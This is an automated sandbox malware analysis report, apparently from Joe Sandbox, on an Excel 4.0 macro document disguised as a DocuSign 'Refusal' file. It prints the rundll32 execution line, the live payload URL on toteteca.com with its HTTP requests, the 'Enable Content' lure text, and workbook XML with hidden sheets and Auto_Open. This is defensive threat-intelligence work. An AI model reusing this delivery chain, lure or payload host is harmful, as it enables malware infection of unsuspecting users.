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Analysis Report Refusal-743510550-01212021.xlsm

Overview

General Information

Sample Name:	Refusal-743510550-01212021.xlsm
Analysis ID:	343866
MD5:	46a087edfdd6cd9f32e71658475bbd80
SHA1:	d5e243201b2b02fd30f5eb96693c5afacd529903
SHA256:	3099fc48fbfb503b607c72c475af8df937b4036a5fdbe430ce2707e7d2388d19
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected MalDoc_1

Checks for available system drives (often done to infect USB drives)

Excel documents contains an embedded macro which executes code when the document is opened

Internet Provider seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Classification

Startup

System is w10x64

EXCEL.EXE (PID: 5912 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

rundll32.exe (PID: 6540 cmdline: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
sheet2.xml	JoeSecurity_MalDoc_1	Yara detected MalDoc_1	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 5912, ProcessCommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, ProcessId: 6540

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://www.toteteca.com/qzkiodlofm/5555555555.jpg

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: toteteca.com	Virustotal: Detection: 9%	Perma Link
Source: www.toteteca.com	Virustotal: Detection: 6%	Perma Link
Source: http://www.toteteca.com/qzkiodlofm/5555555555.jpg	Virustotal: Detection: 15%	Perma Link

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Spreading:

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: z:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: x:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: v:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: t:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: r:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: p:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: n:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: l:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: j:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: h:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: f:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: b:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: y:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: w:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: u:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: s:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: q:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: o:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: m:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: k:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: i:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: g:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: e:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: c:
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File opened: a:

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\rundll32.exe

Source: global traffic

DNS query: name: www.toteteca.com

Source: global traffic

TCP traffic: 192.168.2.3:49717 -> 172.107.2.98:80

Source: global traffic

TCP traffic: 192.168.2.3:49717 -> 172.107.2.98:80

Networking:

Yara detected MalDoc_1

Show sources

Source: Yara match

File source: sheet2.xml, type: SAMPLE

Source: Joe Sandbox View

ASN Name: TIER-NETUS TIER-NETUS

Source: global traffic	HTTP traffic detected: GET /qzkiodlofm/5555555555.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.toteteca.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qzkiodlofm/5555555555.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.toteteca.comConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: GET /qzkiodlofm/5555555555.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.toteteca.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qzkiodlofm/5555555555.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.toteteca.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: www.toteteca.com

Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.office.net
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://augloop.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cdn.entity.
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentities
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentitiesupdated
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cortana.ai
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://cr.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://directory.services.
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://graph.windows.net
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://login.windows.local
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://management.azure.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://management.azure.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://tasks.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11 12" from the yellow bar above 13 14" @Once You have Enable Editing, please cli
Source: Screenshot number: 4	Screenshot OCR: Enable Content 15 from the yellow bar above 16 17 "- WHY ICANNOT OPEN THIS DOCUMENT? 19 20 11
Source: Screenshot number: 8	Screenshot OCR: Enable Editing 11 12" from the yellow bar above 13 14" @Once You have Enable Editing, please cli
Source: Screenshot number: 8	Screenshot OCR: Enable Content 15 from the yellow bar above 16 17 "- WHY ICANNOT OPEN THIS DOCUMENT? 19 20 :)
Source: Document image extraction number: 2	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 2	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8	Screenshot OCR: Enable Editing from the yellow bar above @Once You have Enable Editing, please click Enable Conten
Source: Document image extraction number: 8	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? wYou are using IDS or Andr

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: Refusal-743510550-01212021.xlsm

Initial sample: EXEC

Source: workbook.xml

Binary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="xl" lastEdited="5" lowestEdited="4" rupBuild="9302"/><workbookPr filterPrivacy="1" defaultThemeVersion="124226"/><bookViews><workbookView xWindow="240" yWindow="105" windowWidth="14805" windowHeight="8010"/></bookViews><sheets><sheet name="DocuSign" sheetId="5" r:id="rId1"/><sheet name="Kotu" sheetId="4" state="hidden" r:id="rId2"/><sheet name="Mols" sheetId="1" state="hidden" r:id="rId3"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">Kotu!$A$154</definedName></definedNames><calcPr calcId="144525"/></workbook>

Source: classification engine

